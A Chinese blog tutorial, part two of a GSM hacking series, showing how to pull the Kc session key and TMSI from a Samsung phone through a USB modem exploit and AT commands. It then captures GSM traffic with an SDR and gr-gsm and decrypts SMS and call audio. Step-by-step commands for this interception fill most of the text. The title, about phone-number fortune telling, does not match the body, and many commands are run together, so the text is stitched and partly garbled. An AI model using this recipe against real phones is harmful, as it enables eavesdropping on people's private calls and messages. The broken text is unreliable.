电话号码吉凶计算方法
本文作者:雪碧0xroot@漏洞盒子安全团队
0×00
在文章第一部分 GSM Hacking Part ① :使用SDR扫描嗅探GSM网络搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。
0×01 1.1 获取三星漏洞利用代码:
这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。
AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。
wget https:
//raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c
1.2 源码编译libusb:
wget http: //jaist.dl.sourceforge.net/project/libusb/libusb- 0. 1%20%28LEGACY%29/ 0. 1.12/libusb- 0. 1.12.tar.gz tar zxvf libusb- 0. 1.12.tar.gz cd libusb- 0. 1.12/ ./configure make make install sudo ldconfig
1.3 gcc编译PoC:
gccusbswitcher.c-oswitcher-lusb0×02 获取Kc、TMSI参数
插入三星设备,可以在/dev/ttyACM*中找到它:
2.1 switcher busybox microcom /dev/ttyACM0
./switcher
这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:
2.2 minicom
minicom -D /dev/ttyACM0
通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security
2.3 Kc
GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:
AT+CRSM=176.28448,0,0,9
演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803
2.4 TMSI 鉴权后分配临时识别码
临时识别码的设置是为了防止非法个人或团体通过监听无线路径上的信令交换而窃得移动客户真实的客户识别码(IMSI)或跟踪移动客户的位置。客户临时识别码(TMSI)是由MSC/VLR分配,并不断地进行更换,更换周期由网路运营者设置。更换的频次越快,起到的保密性越好,但对客户的SIM卡寿命有影响。TMSI的值也能通过AT指令来获取:
AT+CRSM=176.28542,0,0,11
演示视频中,Crazy Danish Hacker获得了该值为:9062FF7632F8665610FF00,取其前4bytes,也就是前8字节,即:9062FF76。
0×03 信号捕获 3.1 确定当前手机接入基站
手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入:
*#*#4636# *#*
上面这个是安卓通用的如果你的手机没反应,还可以尝试
Samsung (Android) : *#*#197328640# *#*or *#0011# iPhone (all) : *3001#12345#*拨号 HTC (Android) : *#*#7262626# *#*
进去以后能找到基站的MCC、MNC、ARFCN这些参数。
MCC 移动国家码
MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02
ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。
手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。
手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。
手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。
在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:
3.2 确定当前基站的下行频率:
打开http://www.cellmapper.net/arfcn.php
结果:
Network Type GSM(TDMA) E/U/ARFCN 12 Band Name GSM-900 Uplink Frequency 上行频率 手机到基站 (phone to basestation) 892.4 MHz Downlink Frequency 下行频率 基站到手机 (basestation to phone) 937.4 MHz Band Number 900
获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000
3.3捕获下行数据包: grgsm_capture.py -h linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc Usage: grgsm_capture.py [options] RTL-SDR capturing app of gr-gsm. Options: -h, --help show this help message and exit //打印帮助信息-f FC, --fc=FC Set frequency [default=none] //设定捕获数据的中心频率-a ARFCN, --arfcn=ARFCN //设定ARFCNSetARFCN instead offrequency. Insomecases you may have toprovide the GSM band also - gGAIN, --gain=GAIN Set gain [default=30] //设定gain-s SAMP_RATE, --samp-rate=SAMP_RATE //设定采样率 默认2MSetsamp_rate [ default= 2M] - pPPM, --ppm=PPM Set ppm [default=0]-b BURST_FILE, --burst-file=BURST_FILEFilewherethe captured bursts aresaved - cCFILE, --cfile=CFILEFilewherethe captured dataaresaved --band=BAND Specify the GSM band for the frequency. Availablebands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM, GSM450, GSM480, GSM850. Ifnoband isspecified, it will be determined automatically, defaulting to0.--args=ARGS Set device arguments [default=]-v, --verbose If set, the captured bursts are printed to stdout- TREC_LENGTH, --rec-length=REC_LENGTHSetlengthofrecording inseconds [ default= none]
grgsm_capture.py-g40 -a12 -s1000000 -csms.cfile-T20 -g 指定gain参数 40-a ARFCN 12-s 设定采样率1M-c 将捕获到的数据存入sms.cfile-T 设定时间
命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。
ls-lahsms.cfile
捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。
0×04 信号解码
捕获完数据以后再次获取KC TMSI值:
minicom -D /dev/ttyACM0 4.1 KC: AT+CRSM=176.28448,0,0,9
演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803
4.2 TMSI: AT+CRSM=176.28542,0,0,11
演示视频中输出结果为:9062FF7632F8665610FF00 取其前8位,即:9062FF76
ls-lahvoice.cfile
一起来看看解码脚本的用法:
decode usage grgsm_decode -h Usage: grgsm_decode: [options] Options: -h, --help show this help message and exit //打印帮助信息-m CHAN_MODE, --mode=CHAN_MODEChannel mode. Valid options are 'BCCH' (Non-combined C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone control channel) and 'TCHF' (Traffic Channel, Full rate) -t TIMESLOT, --timeslot=TIMESLOTTimeslot to decode [default=0] -u SUBSLOT, --subslot=SUBSLOTSubslot to decode. Useincombination withchannel typeBCCH_SDCCH4 andSDCCH8 -b BURST_FILE, --burst-file=BURST_FILEInputfile(bursts) - cCFILE, --cfile=CFILEInputfile(cfile) -v, --verbose If set, the decoded messages (with frame number andcount) areprinted tostdout - p, --print-bursts If set, the raw bursts (with frame number and count)areprinted tostdout Cfile Options: Options fordecoding cfile input. - fFC, --fc=FC Frequency of cfile capture //指定需解码文件的中心频率 (从哪个频率捕获就填多少)-a ARFCN, --arfcn=ARFCN //指定ARFCN 同上,从哪个ARFCN捕获就填多少SetARFCN instead offrequency. Insomecases you may have toprovide the GSM band also --band=BAND Specify the GSM band for the frequency. Availablebands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM, GSM450, GSM480, GSM850. Ifnoband isspecified, it will be determined automatically, defaulting to0.-s SAMP_RATE, --samp-rate=SAMP_RATE //指定采样率,默认1MSamplerate ofcfile capture [ default= 1M] --ppm=PPM Set frequency offset correction [default=0]Decryption Options: Options forsetting the A5 decryption parameters. - eA5, --a5=A5 A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本- kKC, --kc=KC A5 session key Kc. Valid formats are //设定KC值'0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF'and'1234567890ABCDEF'TCH Options: Options forsetting Traffic channel decoding parameters. - dSPEECH_CODEC, --speech-codec=SPEECH_CODECTCH- Fspeech codec [ default=FR]. Valid options areFR, EFR, AMR12 .2, AMR10 .2, AMR7 .95, AMR7 .4, AMR6 .7, AMR5 .9, AMR5 .15, AMR4 .75-o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为TCH/ Fspeech outputfile[ default=/tmp/speech.au.gsm].
在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data
测试数据已知参数如下:
ARFCN:725采样率:$(( 100000000/ 174)) Kc:0x1E, 0xF0, 0x0B, 0xAB, 0x3B, 0xAC, 0x70, 0x02wget https:/ /github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile

sudowireshark -i lo grgsm_decode -a725 -s$((100000000/174)) -m BCCH -t 0 -c test.cfile
在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1
使用我们刚刚知道的参数再次解密:
grgsm_decode -a725 -s$((100000000/174)) -c test.cfile -m SDCCH8 -t 1
在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:
A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。
A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。
确定了加密算法,再次执行解密脚本:
grgsm_decode -a725 -s$((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):
Assignment Command一栏信息如下:
在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:
grgsm_decode -a725 -s$((100000000/174)) -c test.cfile -m TCHF -t 5 -e1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -dFR -o /tmp/test.au.gsm
进入/tmp缓存目录中,已经可以发现一个音频文件了:
安装VLC播放器:

sudo apt-get installvlc-nox vlc /tmp/ test.au.gsm
耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1
0×05 refer
GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf
*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

